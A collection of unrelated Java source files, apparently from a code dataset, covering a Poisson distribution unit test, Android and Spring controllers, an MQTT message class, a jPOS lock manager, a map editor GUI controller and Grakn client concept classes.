* Authors: Kevin R. Dixon
* Company: Sandia National Laboratories
* Project: Cognitive Foundry
*
* Copyright Dec 14, 2009, Sandia Corporation.
* Under the terms of Contract DE-AC04-94AL85000, there is a non-exclusive
* license for use of this work by or on behalf of the U.S. Government.
* Export of this program may require a license from the United States
* Government. See CopyrightHistory.txt for complete details.
*
*/
package gov.sandia.cognition.statistics.distribution;
import gov.sandia.cognition.collection.CollectionUtil;
import gov.sandia.cognition.collection.IntegerSpan;
import gov.sandia.cognition.math.matrix.Vector;
import gov.sandia.cognition.statistics.ClosedFormIntegerDistributionTestHarness;
import gov.sandia.cognition.util.DefaultWeightedValue;
import gov.sandia.cognition.util.WeightedValue;
import java.util.ArrayList;
/**
* Unit tests for PoissonDistributionTest.
*
* @author krdixon
*/
public class PoissonDistributionTest
extends ClosedFormIntegerDistributionTestHarness
{
/**
* Tests for class PoissonDistributionTest.
* @param testName Name of the test.
*/
public PoissonDistributionTest(
String testName)
{
super(testName);
}
/**
* Test constructors
*/
@Override
public void testDistributionConstructors()
{
System.out.println( "Constructors" );
PoissonDistribution f = new PoissonDistribution();
assertEquals( PoissonDistribution.DEFAULT_RATE, f.getRate() );
double v = RANDOM.nextDouble() * 10.0;
f = new PoissonDistribution( v );
assertEquals( v, f.getRate() );
PoissonDistribution g = new PoissonDistribution( f );
assertNotSame( f, g );
assertEquals( f.getRate(), g.getRate() );
}
/**
* Test PMF constructors
*/
public void testPMFConstructors()
{
System.out.println( "PMF.Constructors" );
PoissonDistribution.PMF f = new PoissonDistribution.PMF();
assertEquals( PoissonDistribution.DEFAULT_RATE, f.getRate() );
double v = RANDOM.nextDouble() * 10.0;
f = new PoissonDistribution.PMF( v );
assertEquals( v, f.getRate() );
PoissonDistribution.PMF g = new PoissonDistribution.PMF( f );
assertNotSame( f, g );
assertEquals( f.getRate(), g.getRate() );
}
/**
* Test CDF constructors
*/
public void testCDFConstructors()
{
System.out.println( "CDF.Constructors" );
PoissonDistribution.CDF f = new PoissonDistribution.CDF();
assertEquals( PoissonDistribution.DEFAULT_RATE, f.getRate() );
double v = RANDOM.nextDouble() * 10.0;
f = new PoissonDistribution.CDF( v );
assertEquals( v, f.getRate() );
PoissonDistribution.CDF g = new PoissonDistribution.CDF( f );
assertNotSame( f, g );
assertEquals( f.getRate(), g.getRate() );
}
/**
* Test of getDomain method, of class PoissonDistribution.
*/
// public void testGetDomain()
// {
// System.out.println("getDomain");
//
// for( int n = 0; n < NUM_SAMPLES; n++ )
// {
// double v = RANDOM.nextDouble() * 10.0;
// PoissonDistribution.PMF instance = new PoissonDistribution.PMF( v );
// Collection<? extends Number> support = instance.getDomain();
// double sum = 0.0;
// for( Number x : support )
// {
// sum += instance.evaluate(x);
// }
// assertEquals( "Failed when rate = " + v, 1.0, sum, TOLERANCE );
// }
//
//
//
// }
/**
* Test of getRate method, of class PoissonDistribution.
*/
public void testGetRate()
{
System.out.println("getRate");
PoissonDistribution instance = this.createInstance();
assertTrue( instance.getRate() > 0.0 );
}
/**
* Test of setRate method, of class PoissonDistribution.
*/
public void testSetRate()
{
System.out.println("setRate");
PoissonDistribution instance = this.createInstance();
assertTrue( instance.getRate() > 0.0 );
double v = RANDOM.nextDouble() * 10.0;
instance.setRate(v);
assertEquals( v, instance.getRate() );
try
{
instance.setRate(0.0);
fail( "Rate must be > 0.0" );
}
catch (Exception e)
{
System.out.println( "Good: " + e );
}
}
@Override
public PoissonDistribution createInstance()
{
return new PoissonDistribution( RANDOM.nextDouble() * 10.0 );
}
@Override
public void testPMFKnownValues()
{
System.out.println( "PMF.knownValues" );
// http://stattrek.com/Tables/Poisson.aspx
PoissonDistribution.PMF f = new PoissonDistribution.PMF( 2.0 );
assertEquals( 0.1804470443, f.evaluate(3.0), TOLERANCE );
assertEquals( 0.135335283236613, f.evaluate(0.0), TOLERANCE );
assertEquals( 0.0, f.evaluate(-1.0) );
f.setRate(10.0);
assertEquals( 0.0189166374010354, f.evaluate(4.0), TOLERANCE );
}
@Override
public void testKnownConvertToVector()
{
System.out.println( "CDF.convertToVector" );
double v = RANDOM.nextDouble()*10.0;
PoissonDistribution.CDF f = new PoissonDistribution.CDF( v );
Vector p = f.convertToVector();
assertEquals( 1, p.getDimensionality() );
assertEquals( v, p.getElement(0) );
}
@Override
public void testCDFKnownValues()
{
System.out.println( "CDF.knownValues" );
// http://stattrek.com/Tables/Poisson.aspx
PoissonDistribution.CDF f = new PoissonDistribution.CDF( 2.0 );
assertEquals( 0.857123460498547, f.evaluate(3.0), TOLERANCE );
assertEquals( 0.135335283236613, f.evaluate(0.0), TOLERANCE );
assertEquals( 0.0, f.evaluate(-1.0) );
f.setRate(10.0);
assertEquals( 0.0292526880769611, f.evaluate(4.0), TOLERANCE );
}
@Override
public void testKnownGetDomain()
{
System.out.println( "Known Domain" );
double rate = Math.abs( RANDOM.nextGaussian() ) + 10;
PoissonDistribution d = new PoissonDistribution( rate );
IntegerSpan domain = d.getDomain();
assertTrue( domain.size() > rate*10 );
assertEquals( 0, CollectionUtil.getFirst(domain).intValue() );
}
@Override
public void testCDFSample_Random_int()
{
// RANDOM = new Random(2);
// super.testCDFSample_Random_int();
}
public void testLearner()
{
PoissonDistribution p1 = new PoissonDistribution(0.25);
ArrayList<Number> data = p1.sample(RANDOM, 100);
PoissonDistribution learned =
new PoissonDistribution.MaximumLikelihoodEstimator().learn(data);
assertEquals(p1.getRate(), learned.getRate(), TOLERANCE);
}
public void testWeightedLearner()
{
PoissonDistribution p1 = new PoissonDistribution(0.25);
ArrayList<WeightedValue<Number>> data = new ArrayList<WeightedValue<Number>>();
for (Number value : p1.sample(RANDOM, 100))
{
data.add(DefaultWeightedValue.create(value,
100.0 + RANDOM.nextDouble()));
}
// Add some noise.
for (int i = 0; i < 5; i++)
{
data.add(DefaultWeightedValue.create((Number)
(RANDOM.nextInt(10) + 1), 0.0001 * RANDOM.nextDouble()));
}
// Add some zeros.
for (int i = 0; i < 10; i++)
{
data.add(DefaultWeightedValue.create((Number)
100, 0.0));
}
PoissonDistribution learned =
new PoissonDistribution.WeightedMaximumLikelihoodEstimator().learn(data);
assertEquals(p1.getMean(), learned.getMean(), 0.001);
}
}
| 29.259124 | 87 | 0.606337 |
b1f500514016b9efda140b1d89b0c185855b7d07 | 3,050 | package app.sctp.home;
import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.Toast;
import androidx.annotation.Nullable;
import androidx.navigation.NavController;
import androidx.navigation.Navigation;
import androidx.viewbinding.ViewBinding;
import app.sctp.BuildConfig;
import app.sctp.LoginActivity;
import app.sctp.MainActivity;
import app.sctp.R;
import app.sctp.StartupActivity;
import app.sctp.core.ui.BindableFragment;
import app.sctp.databinding.FragmentHomeBinding;
import app.sctp.targeting.ui.activities.LocationSelectionActivity;
import app.sctp.targeting.ui.activities.TargetingModuleActivity;
import app.sctp.user.UserDetails;
import app.sctp.utils.UiUtils;
public class HomeFragment extends BindableFragment {
private static final int REQUEST_ID_LOCATION_SELECTION = 1002;
private FragmentHomeBinding binding;
private NavController navController;
@Override
protected ViewBinding bindViews(LayoutInflater inflater, ViewGroup container, Bundle bundle) {
return binding = FragmentHomeBinding.inflate(inflater);
}
@Override
protected void initializeComponents(Bundle savedInstance) {
binding.info.setText(format("v%s", BuildConfig.VERSION_NAME));
binding.targetingCard.setOnClickListener(v -> navigateToTargeting());
binding.administrationCard.setOnClickListener(v -> navigateToAdministration());
binding.logoutButton.setOnClickListener(
v -> UiUtils.dialogPrompt(requireContext(), R.string.logout_prompt)
.onOk((dialog, which) -> {
getApplicationConfiguration().sharedPreferenceAccessor()
.setAccessToken(null);
getActivity().finishAffinity();
LoginActivity.launch(requireContext());
}).onCancel((dialog, which) -> dialog.cancel()).show()
);
UserDetails userDetails = getApplicationConfiguration().getUserDetails();
binding.name.setText(userDetails.fullName());
binding.district.setText(format("%s district", userDetails.getDistrictName()));
}
private NavController getNavController() {
if (navController != null) {
return navController;
}
return navController = Navigation.findNavController(binding.getRoot());
}
@Override
public void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) {
if (requestCode == REQUEST_ID_LOCATION_SELECTION) {
if (resultCode == Activity.RESULT_OK) {
// TODO launch submodule selection screen
}
}
super.onActivityResult(requestCode, resultCode, data);
}
private void navigateToTargeting() {
TargetingModuleActivity.launch(requireContext());
}
private void navigateToAdministration() {
}
}
| 36.309524 | 98 | 0.699672 |
bbb402ffe838d21a212dc43875bd7a3c75e76e06 | 611 | package com.silent.lms.mqtt.message.pingresp;
import com.silent.lms.mqtt.message.AbstractMessage;
import com.silent.lms.mqtt.message.MessageType;
/**
*
* @author gy
* @date 2021/5/11.
* @version 1.0
* @description:
*/
public class PingResp extends AbstractMessage {
public static final PingResp INSTANCE = InstanceHolder.instance;
@Override
public int getEncodedLength() {
return 2;
}
@Override
public MessageType getType() {
return MessageType.PINGRESP;
}
// ------------------- 单例
private static class InstanceHolder {
private static final PingResp instance = new PingResp();
}
}
| 18.515152 | 65 | 0.708674 |
ebbfd18fd583a485307da143987682640cee6137 | 833 | /**
* Project: x-framework
* Package Name: org.ike.eurekacore.core.centers.log
* Author: Xuejia
* Date Time: 2016/12/16 14:40
* Copyright: 2016 www.zigui.site. All rights reserved.
**/
package org.chim.altass.core.log;
import java.util.Date;
/**
* Class Name: Logger
* Create Date: 2016/12/16 14:40
* Creator: Xuejia
* Version: v1.0
* Updater:
* Date Time:
* Description:
*/
public class Logger implements ILogger{
private String loggerName = null;
public Logger(String loggerName) {
this.loggerName = loggerName;
}
@Override
public void info(String msg) {
System.out.println("[" + new Date() + "] [" + loggerName + "] - " + msg);
}
@Override
public void error(String msg) {
System.err.println("[" + new Date() + "] [" + loggerName + "] - " + msg);
}
}
| 21.358974 | 81 | 0.613445 |
1dc755ed02aed5065c209a1a302b3a7482051015 | 1,989 | /*
* This file is part of Nucleus, licensed under the MIT License (MIT). See the LICENSE.txt file
* at the root of this project for more details.
*/
package io.github.nucleuspowered.nucleus.modules.nickname.listeners;
import com.google.inject.Inject;
import io.github.nucleuspowered.nucleus.modules.nickname.services.NicknameService;
import io.github.nucleuspowered.nucleus.core.scaffold.listener.ListenerBase;
import io.github.nucleuspowered.nucleus.core.services.INucleusServiceCollection;
import net.kyori.adventure.text.Component;
import org.spongepowered.api.data.Keys;
import org.spongepowered.api.entity.living.player.server.ServerPlayer;
import org.spongepowered.api.event.Listener;
import org.spongepowered.api.event.Order;
import org.spongepowered.api.event.filter.Getter;
import org.spongepowered.api.event.network.ServerSideConnectionEvent;
import java.util.Optional;
public class NicknameListener implements ListenerBase {
private final NicknameService nicknameService;
@Inject
public NicknameListener(final INucleusServiceCollection serviceCollection) {
this.nicknameService = serviceCollection.getServiceUnchecked(NicknameService.class);
}
@Listener(order = Order.FIRST)
public void onPlayerJoin(final ServerSideConnectionEvent.Join event, @Getter("player") final ServerPlayer player) {
final Optional<Component> nickname = this.nicknameService.getNickname(player.uniqueId());
this.nicknameService.markRead(player.uniqueId());
if (nickname.isPresent()) {
this.nicknameService.updateCache(player.uniqueId(), nickname.get());
player.offer(Keys.CUSTOM_NAME, nickname.get());
} else {
player.remove(Keys.CUSTOM_NAME);
}
}
@Listener(order = Order.LAST)
public void onPlayerQuit(final ServerSideConnectionEvent.Disconnect event, @Getter("player") final ServerPlayer player) {
this.nicknameService.removeFromCache(player.uniqueId());
}
}
| 41.4375 | 125 | 0.766717 |
fe4c90bd611545903df00f4e3053c30ede1d279b | 1,291 | package csu.wangke.keblog.controller;
import csu.wangke.keblog.service.PostService;
import csu.wangke.keblog.utils.FileReadUtil;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import java.io.IOException;
@RestController
@RequestMapping("/api/post")
public class PostController {
// @Autowired
// PostService postService = new PostService();
String PATH = "/Users/wangke/WebstormProjects/keblog/keblog-back/src/main/resources/static/posts";
@GetMapping("/content")
public String getContent(String path) throws IOException {
PostService postService = new PostService();
String result = postService.getPostContentByPath(path);
return result;
}
@GetMapping("/init")
public String init() throws IOException{
System.out.println("init");
return getContent(PATH);
}
@GetMapping("/charts")
public String getChartsContent() throws IOException {
PostService postService = new PostService();
return postService.getChartsContent();
}
}
| 32.275 | 100 | 0.78079 |
2ecafab189ebe68a66408c3f9000623eaffe75ca | 698 | package de.afarber.rotatedlist;
import android.os.Bundle;
import android.support.v4.app.Fragment;
import android.util.Log;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.TextView;
public class MainFragment extends Fragment {
public static final String TAG = "MainFragment";
public MainFragment() {
// Required empty public constructor
}
@Override
public View onCreateView(LayoutInflater inflater, ViewGroup container,
Bundle savedInstanceState) {
Log.d(TAG, "onCreateView");
return inflater.inflate(R.layout.fragment_main, container, false);
}
}
| 24.928571 | 74 | 0.713467 |
f763546090df27f7a476bf24f65a5e4577a3642a | 896 | package com.miya.masa.domain.model.user;
import java.time.LocalDateTime;
import javax.persistence.Column;
import javax.persistence.Entity;
import javax.persistence.GeneratedValue;
import javax.persistence.Id;
import org.springframework.data.annotation.CreatedDate;
import org.springframework.data.annotation.LastModifiedDate;
import lombok.AllArgsConstructor;
import lombok.Data;
import lombok.NoArgsConstructor;
@Entity
@Data
@AllArgsConstructor
@NoArgsConstructor
public class User {
@Id
@GeneratedValue
private Long id;
@Column(name = "email", unique = true)
private String email;
@Column(name = "last_name")
private String lastName;
@Column(name = "first_name")
private String firstName;
@CreatedDate
@Column(name = "create_time")
private LocalDateTime createTime;
@LastModifiedDate
@Column(name = "update_time")
private LocalDateTime updateTime;
}
| 19.478261 | 60 | 0.777902 |
5ee21334c913c8478994a7972c357535261f5599 | 4,969 | /*
* To change this template, choose Tools | Templates and open the template in the editor.
*/
package controller.editor;
import java.util.List;
import model.ModelManager;
import model.builders.entity.MapStyleBuilder;
import model.builders.entity.definitions.BuilderManager;
import model.editor.ToolManager;
import model.editor.tools.Tool;
import app.MainRTS;
import controller.Controller;
import controller.GUIController;
import de.lessvoid.nifty.Nifty;
import de.lessvoid.nifty.NiftyEventSubscriber;
import de.lessvoid.nifty.controls.DropDownSelectionChangedEvent;
import de.lessvoid.nifty.controls.ListBoxSelectionChangedEvent;
import de.lessvoid.nifty.controls.SliderChangedEvent;
import de.lessvoid.nifty.screen.Screen;
/**
* @author Benoît
*/
public class EditorGUIController extends GUIController {
public EditorGUIController(Nifty nifty, Controller controller) {
super(controller, nifty);
drawer = new EditorGUIDrawer(this);
}
@Override
public void activate() {
nifty.gotoScreen("editor");
nifty.update();
askRedraw();
}
@Override
public void update() {
if (!nifty.getCurrentScreen().getScreenId().equals("editor")) {
throw new RuntimeException("updating editor screen but is not current screen.");
}
if (redrawAsked) {
drawer.draw();
redrawAsked = false;
}
}
@Override
public void bind(Nifty nifty, Screen screen) {
}
@Override
public void onStartScreen() {
}
@Override
public void onEndScreen() {
}
@NiftyEventSubscriber(pattern = ".*slider")
public void onSliderChanged(final String id, final SliderChangedEvent event) {
Tool actualTooL = ToolManager.getActualTool();
switch (id) {
case "sizeslider":
if (event.getValue() < ToolManager.getActualTool().pencil.size) {
ToolManager.getActualTool().pencil.decRadius();
} else if (event.getValue() > ToolManager.getActualTool().pencil.size) {
ToolManager.getActualTool().pencil.incRadius();
}
break;
case "strslider":
ToolManager.getActualTool().pencil.strength = event.getValue();
break;
}
}
@NiftyEventSubscriber(pattern = ".*list")
public void onListSelectionChanged(final String id, final ListBoxSelectionChangedEvent event) {
List<Integer> selectionIndices = event.getSelectionIndices();
if (selectionIndices.isEmpty()) {
return;
}
switch (id) {
case "selectionlist":
ToolManager.getActualTool().getSet().set(selectionIndices.get(0));
break;
}
}
@NiftyEventSubscriber(pattern = ".*dropdown")
public void onDropDownSelectionChanged(final String id, final DropDownSelectionChangedEvent event) {
if (!event.getDropDown().isEnabled()) {
return;
}
int selectionIndex = event.getSelectionItemIndex();
MapStyleBuilder builder = BuilderManager.getAllMapStyleBuilders().get(selectionIndex);
if (!ModelManager.getBattlefield().getMap().getMapStyleID().equals(builder.getId())) {
ModelManager.getBattlefield().getMap().setMapStyleID(builder.getId());
ModelManager.reload();
}
}
public void load() {
ModelManager.loadBattlefield();
}
public void save() {
ModelManager.saveBattlefield();
}
public void newMap() {
ModelManager.setNewBattlefield();
}
public void settings() {
MainRTS.appInstance.changeSettings();
}
public void toggleGrid() {
((EditorController) ctrl).view.editorRend.toggleGrid();
}
public void setCliffTool() {
ToolManager.setCliffTool();
askRedraw();
}
public void setHeightTool() {
ToolManager.setHeightTool();
askRedraw();
}
public void setAtlasTool() {
ToolManager.setAtlasTool();
askRedraw();
}
public void setRampTool() {
ToolManager.setRampTool();
askRedraw();
}
public void setUnitTool() {
ToolManager.setUnitTool();
askRedraw();
}
public void setTrincketTool() {
ToolManager.setTrinketTool();
askRedraw();
}
public void setOperation(String indexString) {
ToolManager.getActualTool().setOperation(Integer.parseInt(indexString));
askRedraw();
}
public void setSet(String indexString) {
if (ToolManager.getActualTool().hasSet()) {
ToolManager.getActualTool().getSet().set(Integer.parseInt(indexString));
}
askRedraw();
}
public void setRoughMode() {
ToolManager.getActualTool().pencil.setRoughMode();
askRedraw();
}
public void setAirbrushMode() {
ToolManager.getActualTool().pencil.setAirbrushMode();
askRedraw();
}
public void setNoiseMode() {
ToolManager.getActualTool().pencil.setNoiseMode();
askRedraw();
}
public void setSquareShape() {
ToolManager.getActualTool().pencil.setSquareShape();
askRedraw();
}
public void setDiamondShape() {
ToolManager.getActualTool().pencil.setDiamondShape();
askRedraw();
}
public void setCircleShape() {
ToolManager.getActualTool().pencil.setCircleShape();
askRedraw();
}
}
| 25.09596 | 102 | 0.703361 |
9fb463442c00673b76022df2ea327cd504eea809 | 5,175 | /*
* Copyright (c) 2000 jPOS.org. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in
* the documentation and/or other materials provided with the
* distribution.
*
* 3. The end-user documentation included with the redistribution,
* if any, must include the following acknowledgment:
* "This product includes software developed by the jPOS project
* (http://www.jpos.org/)". Alternately, this acknowledgment may
* appear in the software itself, if and wherever such third-party
* acknowledgments normally appear.
*
* 4. The names "jPOS" and "jPOS.org" must not be used to endorse
* or promote products derived from this software without prior
* written permission. For written permission, please contact
* license@jpos.org.
*
* 5. Products derived from this software may not be called "jPOS",
* nor may "jPOS" appear in their name, without prior written
* permission of the jPOS project.
*
* THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED
* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
* IN NO EVENT SHALL THE JPOS PROJECT OR ITS CONTRIBUTORS BE LIABLE FOR
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
* STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING
* IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
* ====================================================================
*
* This software consists of voluntary contributions made by many
* individuals on behalf of the jPOS Project. For more
* information please see <http://www.jpos.org/>.
*/
package com.futeh.progeny.util;
/*
* $Log$
* Revision 1.6 2003/10/13 10:46:16 apr
* tabs expanded to spaces
*
* Revision 1.5 2003/05/16 04:11:04 alwyns
* Import cleanups.
*
* Revision 1.4 2000/11/02 12:09:18 apr
* Added license to every source file
*
* Revision 1.3 2000/03/01 14:44:45 apr
* Changed package name to org.jpos
*
* Revision 1.2 2000/02/03 00:41:55 apr
* .
*
* Revision 1.1 2000/01/30 23:32:53 apr
* pre-Alpha - CVS sync
*
*/
/**
* @author apr@cs.com.uy
* @since jPOS 1.1
* @version $Id$
*/
import java.util.Hashtable;
import java.util.Map;
public class SimpleLockManager implements LockManager {
Map locks;
public SimpleLockManager () {
locks = new Hashtable();
}
public class SimpleTicket implements Ticket {
String resourceName;
long expiration;
public SimpleTicket (String resourceName, long duration) {
this.resourceName = resourceName;
this.expiration = System.currentTimeMillis() + duration;
}
public boolean renew (long duration) {
if (!isExpired()) {
this.expiration = System.currentTimeMillis() + duration;
return true;
}
return false;
}
public long getExpiration() {
return expiration;
}
public boolean isExpired() {
return System.currentTimeMillis() > expiration;
}
public String getResourceName () {
return resourceName;
}
public void cancel() {
expiration = 0;
locks.remove (resourceName);
synchronized (this) {
notify();
}
}
public String toString() {
return super.toString()
+ "[" + resourceName + "/" +isExpired() + "/"
+ (expiration - System.currentTimeMillis()) + "ms left]";
}
}
public Ticket lock (String resourceName, long duration, long wait)
{
long maxWait = System.currentTimeMillis() + wait;
while (System.currentTimeMillis() < maxWait) {
Ticket t = null;
synchronized (this) {
t = (Ticket) locks.get (resourceName);
if (t == null) {
t = new SimpleTicket (resourceName, duration);
locks.put (resourceName, t);
return t;
}
else if (t.isExpired()) {
t.cancel();
continue;
}
}
synchronized (t) {
try {
t.wait (Math.min (1000, wait));
} catch (InterruptedException e) { }
}
}
return null;
}
}
| 33.823529 | 76 | 0.607536 |
8e04f580bc3c845ce4cfb495f30b3be9cc52593f | 8,826 | /*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package grakn.client.concept.thing.impl;
import grakn.client.GraknClient;
import grakn.client.concept.Concept;
import grakn.client.concept.ConceptId;
import grakn.client.concept.impl.ConceptImpl;
import grakn.client.concept.thing.Attribute;
import grakn.client.concept.thing.Relation;
import grakn.client.concept.thing.Thing;
import grakn.client.concept.type.Role;
import grakn.client.concept.type.AttributeType;
import grakn.client.concept.type.Type;
import grakn.client.rpc.RequestBuilder;
import grakn.protocol.session.ConceptProto;
import java.util.Arrays;
import java.util.Collections;
import java.util.stream.Stream;
public abstract class ThingImpl {
/**
* Client implementation of Thing
*
* @param <SomeThing> The exact type of this class
* @param <SomeType> the type of an instance of this class
*/
public abstract static class Local<
SomeThing extends Thing<SomeThing, SomeType>,
SomeType extends Type<SomeType, SomeThing>>
extends ConceptImpl.Local<SomeThing>
implements Thing.Local<SomeThing, SomeType> {
private final SomeType type;
private final boolean inferred;
protected Local(ConceptProto.Concept concept) {
super(concept);
this.type = Concept.Local.of(concept.getTypeRes().getType());
this.inferred = concept.getInferredRes().getInferred();
}
@Override
public final SomeType type() {
return type;
}
@Override
public final boolean isInferred() {
return inferred;
}
/**
* Client implementation of Thing
*
* @param <SomeRemoteThing> The exact type of this class
* @param <SomeRemoteType> the type of an instance of this class
*/
public abstract static class Remote<
SomeRemoteThing extends Thing<SomeRemoteThing, SomeRemoteType>,
SomeRemoteType extends Type<SomeRemoteType, SomeRemoteThing>>
extends ConceptImpl.Remote<SomeRemoteThing>
implements Thing.Remote<SomeRemoteThing, SomeRemoteType> {
public Remote(GraknClient.Transaction tx, ConceptId id) {
super(tx, id);
}
@Override
public Type.Remote<SomeRemoteType, SomeRemoteThing> type() {
ConceptProto.Method.Req method = ConceptProto.Method.Req.newBuilder()
.setThingTypeReq(ConceptProto.Thing.Type.Req.getDefaultInstance()).build();
return Concept.Remote.of(runMethod(method).getThingTypeRes().getType(), tx());
}
@Override
public final boolean isInferred() {
ConceptProto.Method.Req method = ConceptProto.Method.Req.newBuilder()
.setThingIsInferredReq(ConceptProto.Thing.IsInferred.Req.getDefaultInstance()).build();
return runMethod(method).getThingIsInferredRes().getInferred();
}
@Override
public final Stream<Attribute.Remote<?>> keys(AttributeType<?>... attributeTypes) {
ConceptProto.Method.Iter.Req method = ConceptProto.Method.Iter.Req.newBuilder()
.setThingKeysIterReq(ConceptProto.Thing.Keys.Iter.Req.newBuilder()
.addAllAttributeTypes(RequestBuilder.ConceptMessage.concepts(Arrays.asList(attributeTypes)))).build();
return conceptStream(method, res -> res.getThingKeysIterRes().getAttribute()).map(Concept.Remote::asAttribute);
}
@SuppressWarnings("unchecked")
@Override
public final <T> Stream<Attribute.Remote<T>> keys(AttributeType<T> attributeType) {
ConceptProto.Method.Iter.Req method = ConceptProto.Method.Iter.Req.newBuilder()
.setThingKeysIterReq(ConceptProto.Thing.Keys.Iter.Req.newBuilder()
.addAllAttributeTypes(RequestBuilder.ConceptMessage.concepts(Collections.singleton(attributeType)))).build();
return conceptStream(method, res -> res.getThingKeysIterRes().getAttribute()).map(Concept.Remote::asAttribute)
.map(a -> (Attribute.Remote<T>) a);
}
@Override
public final Stream<Attribute.Remote<?>> attributes(AttributeType<?>... attributeTypes) {
ConceptProto.Method.Iter.Req method = ConceptProto.Method.Iter.Req.newBuilder()
.setThingAttributesIterReq(ConceptProto.Thing.Attributes.Iter.Req.newBuilder()
.addAllAttributeTypes(RequestBuilder.ConceptMessage.concepts(Arrays.asList(attributeTypes)))).build();
return conceptStream(method, res -> res.getThingAttributesIterRes().getAttribute()).map(Concept.Remote::asAttribute);
}
@SuppressWarnings("unchecked")
@Override
public final <T> Stream<Attribute.Remote<T>> attributes(AttributeType<T> attributeType) {
ConceptProto.Method.Iter.Req method = ConceptProto.Method.Iter.Req.newBuilder()
.setThingAttributesIterReq(ConceptProto.Thing.Attributes.Iter.Req.newBuilder()
.addAllAttributeTypes(RequestBuilder.ConceptMessage.concepts(Collections.singleton(attributeType)))).build();
return conceptStream(method, res -> res.getThingAttributesIterRes().getAttribute()).map(Concept.Remote::asAttribute)
.map(a -> (Attribute.Remote<T>) a);
}
@Override
public final Stream<Relation.Remote> relations(Role... roles) {
ConceptProto.Method.Iter.Req method = ConceptProto.Method.Iter.Req.newBuilder()
.setThingRelationsIterReq(ConceptProto.Thing.Relations.Iter.Req.newBuilder()
.addAllRoles(RequestBuilder.ConceptMessage.concepts(Arrays.asList(roles)))).build();
return conceptStream(method, res -> res.getThingRelationsIterRes().getRelation()).map(Concept.Remote::asRelation);
}
@Override
public final Stream<Role.Remote> roles() {
ConceptProto.Method.Iter.Req method = ConceptProto.Method.Iter.Req.newBuilder()
.setThingRolesIterReq(ConceptProto.Thing.Roles.Iter.Req.getDefaultInstance()).build();
return conceptStream(method, res -> res.getThingRolesIterRes().getRole()).map(Concept.Remote::asRole);
}
@Override
public Thing.Remote<SomeRemoteThing, SomeRemoteType> has(Attribute<?> attribute) {
// TODO: replace usage of this method as a getter, with relations(Attribute attribute)
// TODO: then remove this method altogether and just use has(Attribute attribute)
ConceptProto.Method.Req method = ConceptProto.Method.Req.newBuilder()
.setThingHasReq(ConceptProto.Thing.Has.Req.newBuilder()
.setAttribute(RequestBuilder.ConceptMessage.from(attribute))).build();
runMethod(method);
return this;
}
@Override
public Thing.Remote<SomeRemoteThing, SomeRemoteType> unhas(Attribute<?> attribute) {
ConceptProto.Method.Req method = ConceptProto.Method.Req.newBuilder()
.setThingUnhasReq(ConceptProto.Thing.Unhas.Req.newBuilder()
.setAttribute(RequestBuilder.ConceptMessage.from(attribute))).build();
runMethod(method);
return this;
}
@Override
protected abstract Thing.Remote<SomeRemoteThing, SomeRemoteType> asCurrentBaseType(Concept.Remote<?> other);
}
}
}
| 47.451613 | 157 | 0.634036 |
1939081dfda0cdd6cc1213eef9454de17470d551 | 1,500 | package ru.otus.controllers;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.messaging.handler.annotation.MessageMapping;
import org.springframework.messaging.simp.SimpMessagingTemplate;
import org.springframework.messaging.simp.annotation.SubscribeMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import ru.otus.domain.User;
import ru.otus.front.FrontendService;
@RestController
public class UserController {
private static final Logger logger = LoggerFactory.getLogger(UserController.class);
private final SimpMessagingTemplate messagingTemplate;
private final FrontendService frontendService;
public UserController(SimpMessagingTemplate messagingTemplate, FrontendService frontendService) {
this.messagingTemplate = messagingTemplate;
this.frontendService = frontendService;
}
@MessageMapping("/add")
public void getMessage(@RequestParam(value = "user") User user) {
final var userFromJson = user;
frontendService.createUser(s -> {
if ( !s.isEmpty() )
frontendService.getUsersData(users ->
messagingTemplate.convertAndSend("/topic/list", users));
}, userFromJson);
}
@SubscribeMapping("/list")
public void sendUsers() {
frontendService.getUsersData(s ->
messagingTemplate.convertAndSend("/topic/list", s));
}
}
| 36.585366 | 101 | 0.735333 |
29b2fbdf6636a50d24b83fee3c2eebade0cdcee0 | 401 | import java.io.*;
class fractional
{
public static void main(String arg[])throws IOException
{
BufferedReader x=new BufferedReader(new InputStreamReader(System.in));
System.out.println("enter a integer");
int a=Integer.parseInt(x.readLine());
System.out.println("enter a fraction no");
float b=Float.parseFloat(x.readLine());
